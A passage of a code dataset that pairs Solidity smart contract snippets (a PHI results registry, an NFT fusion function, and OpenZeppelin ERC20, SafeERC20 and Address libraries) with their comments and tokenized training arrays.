pragma solidity 0.4.25; import "./ACL.sol"; contract PHIResultsDB is ACL { struct KitIdx { uint index; bool exists; } mapping(address => mapping(bytes24 => bytes32[])) private storedKitsId; mapping(address => mapping(bytes24 => bytes32[])) private storedHashes1; mapping(address => mapping(bytes24 => bytes32[])) private storedHashes2; mapping(bytes32 => KitIdx) private kitsIndex; mapping(address => mapping(bytes24 => uint[])) private accessLogs; /** * @dev assigns the creator of the contract as the first admin */ constructor() public { admins[msg.sender] = true; levels[msg.sender] = 0; } /** * Ensure the user has kits for the given kit type */ modifier hasResults(bytes24 kitType, address userAddress) { require(storedKitsId[userAddress][kitType].length > 0); _; } /** * @dev Adds a new element to the storedKitsId, storedHashes1 and storedHashes2 mappings * This function ensures that a duplicated kit id is not added */ function add(bytes24 kitType, bytes32 newKitId, bytes32 newHhash1, bytes32 newHash2, address userAddress) external onlyAdmin(0) { bytes32 hash = _getKitCheckSum(kitType, newKitId, userAddress); KitIdx storage checkSum = kitsIndex[hash]; require(checkSum.exists == false); // prevents a duplicate to be added bytes32[] storage kitsId = storedKitsId[userAddress][kitType]; kitsId.push(newKitId); storedHashes1[userAddress][kitType].push(newHhash1); storedHashes2[userAddress][kitType].push(newHash2); kitsIndex[hash] = KitIdx(kitsId.length - 1, true); } /** * @dev Updates the given existentKitId IPFS hashes for the passed kit type and address * This function ensures the user has results for the given kit type and the requested kit ID exists */ function update(bytes24 kitType, bytes32 existentKitId, bytes32 newHhash1, bytes32 newHash2, address userAddress) external onlyAdmin(1) hasResults(kitType, userAddress) { KitIdx storage checkSum = kitsIndex[_getKitCheckSum(kitType, existentKitId, userAddress)]; require(checkSum.exists == true); bytes32[] storage kitsId = storedKitsId[userAddress][kitType]; bytes32[] storage hashes1 = storedHashes1[userAddress][kitType]; bytes32[] storage hashes2 = storedHashes2[userAddress][kitType]; // search for the specific kit ID kitsId[checkSum.index] = existentKitId; hashes1[checkSum.index] = newHhash1; hashes2[checkSum.index] = newHash2; } /** * @dev Removes the given kit id and the related IPFS hashes for the passed kit type and address * This function ensures the user has results for the given kit type and the requested kit ID exists */ function remove(bytes24 kitType, bytes32 existentKitId, address userAddress) external onlyAdmin(1) hasResults(kitType, userAddress) { bytes32 checkSum = _getKitCheckSum(kitType, existentKitId, userAddress); KitIdx storage indexStruct = kitsIndex[checkSum]; require(indexStruct.exists == true); // 1. gets all the kits bytes32[] storage kitsId = storedKitsId[userAddress][kitType]; bytes32[] storage hashes1 = storedHashes1[userAddress][kitType]; bytes32[] storage hashes2 = storedHashes2[userAddress][kitType]; // 1.5 gets the last kit ID reference bytes32 movedKitId = kitsId[kitsId.length - 1]; // 2. Overwrites the element that wants to be removed with the last from the array // in this way we avoid an expensive loop kitsId[indexStruct.index] = movedKitId; hashes1[indexStruct.index] = hashes1[hashes1.length - 1]; hashes2[indexStruct.index] = hashes2[hashes2.length - 1]; // 3. Updates the moved element index kitsIndex[_getKitCheckSum(kitType, movedKitId, userAddress)].index = indexStruct.index; // 4. "Removes" the element. This is a logical remove, allowing to add it again kitsIndex[checkSum].exists = false; // 5. Performs the actual remove kitsId.length--; hashes1.length--; hashes2.length--; } /** * @dev Returns all the kits id, and IPFS hashes associated to the user address and the kit type */ function get(bytes24 kitType, address userAddress) external view onlyAdmin(1) returns(bytes32[] kitsId, bytes32[] hashes1, bytes32[] hashes2) { return ( storedKitsId[userAddress][kitType], storedHashes1[userAddress][kitType], storedHashes2[userAddress][kitType] ); } /** * @dev Returns a hash representing a unique kit id, using the kit type, kit id and the user address */ function _getKitCheckSum(bytes24 kitType, bytes32 kitId, address userAddress) private pure returns(bytes32) { return keccak256(abi.encodePacked(userAddress, kitType, kitId)); } }
prevents a duplicate to be added
require(checkSum.exists == false);
15,797,354
[ 1, 29150, 87, 279, 6751, 358, 506, 3096, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2583, 12, 1893, 3495, 18, 1808, 422, 629, 1769, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/3/0xf48346Fff6DFe55f3C4Ff8D36349dbc984ED83C2/sources/contracts/BeeFriendsContract.sol
burn the 2 tokens mint new token fire event in logs
function fuseBeeFriends(uint256 firstBeeFriendTokenId, uint256 secondBeeFriendTokenId) external payable { require(beeFriendsFusionIsActive, "bee friends fusion is inactive"); require(totalSupply() < nbBeeFriendTokenAvailable, "No baby bees available for the moment"); require(totalSupply() < BEE_FRIENDS_TOKENS + BABY_BEE_FRIENDS_TOKENS, "No more baby bees available"); require(msg.value >= BEE_FRIENDS_FUSION_PRICE, "Ether value sent is not correct"); require(_isApprovedOrOwner(_msgSender(), firstBeeFriendTokenId) && _isApprovedOrOwner(_msgSender(), secondBeeFriendTokenId), "Caller is not owner nor approved"); _burn(firstBeeFriendTokenId); _burn(secondBeeFriendTokenId); uint256 babyBeeFriendTokenId = _tokenIdCounter.current() + 1; _safeMint(msg.sender, babyBeeFriendTokenId); _tokenIdCounter.increment(); emit BeeFriendFused(firstBeeFriendTokenId, secondBeeFriendTokenId, babyBeeFriendTokenId); }
14,153,687
[ 1, 70, 321, 326, 576, 2430, 312, 474, 394, 1147, 4452, 871, 316, 5963, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 19552, 27997, 42, 22259, 12, 11890, 5034, 1122, 27997, 42, 7522, 1345, 548, 16, 2254, 5034, 2205, 27997, 42, 7522, 1345, 548, 13, 3903, 8843, 429, 288, 203, 3639, 2583, 12, 70, 1340, 42, 22259, 42, 7063, 2520, 3896, 16, 315, 70, 1340, 284, 22259, 25944, 353, 16838, 8863, 203, 3639, 2583, 12, 4963, 3088, 1283, 1435, 411, 4264, 27997, 42, 7522, 1345, 5268, 16, 315, 2279, 324, 24383, 30963, 2319, 364, 326, 10382, 8863, 203, 3639, 2583, 12, 4963, 3088, 1283, 1435, 411, 605, 9383, 67, 42, 2259, 1157, 3948, 67, 8412, 55, 397, 605, 2090, 61, 67, 5948, 41, 67, 42, 2259, 1157, 3948, 67, 8412, 55, 16, 315, 2279, 1898, 324, 24383, 30963, 2319, 8863, 203, 3639, 2583, 12, 3576, 18, 1132, 1545, 605, 9383, 67, 42, 2259, 1157, 3948, 67, 42, 3378, 1146, 67, 7698, 1441, 16, 315, 41, 1136, 460, 3271, 353, 486, 3434, 8863, 203, 3639, 2583, 24899, 291, 31639, 1162, 5541, 24899, 3576, 12021, 9334, 1122, 27997, 42, 7522, 1345, 548, 13, 597, 389, 291, 31639, 1162, 5541, 24899, 3576, 12021, 9334, 2205, 27997, 42, 7522, 1345, 548, 3631, 315, 11095, 353, 486, 3410, 12517, 20412, 8863, 203, 540, 203, 3639, 389, 70, 321, 12, 3645, 27997, 42, 7522, 1345, 548, 1769, 203, 3639, 389, 70, 321, 12, 8538, 27997, 42, 7522, 1345, 548, 1769, 203, 203, 3639, 2254, 5034, 324, 24383, 27997, 42, 7522, 1345, 548, 273, 389, 2316, 548, 4789, 18, 2972, 1435, 397, 404, 31, 203, 3639, 389, 4626, 49, 474, 12, 2 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library StringsUpgradeable { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC20.sol"; import "./extensions/IERC20Metadata.sol"; import "../../utils/Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** 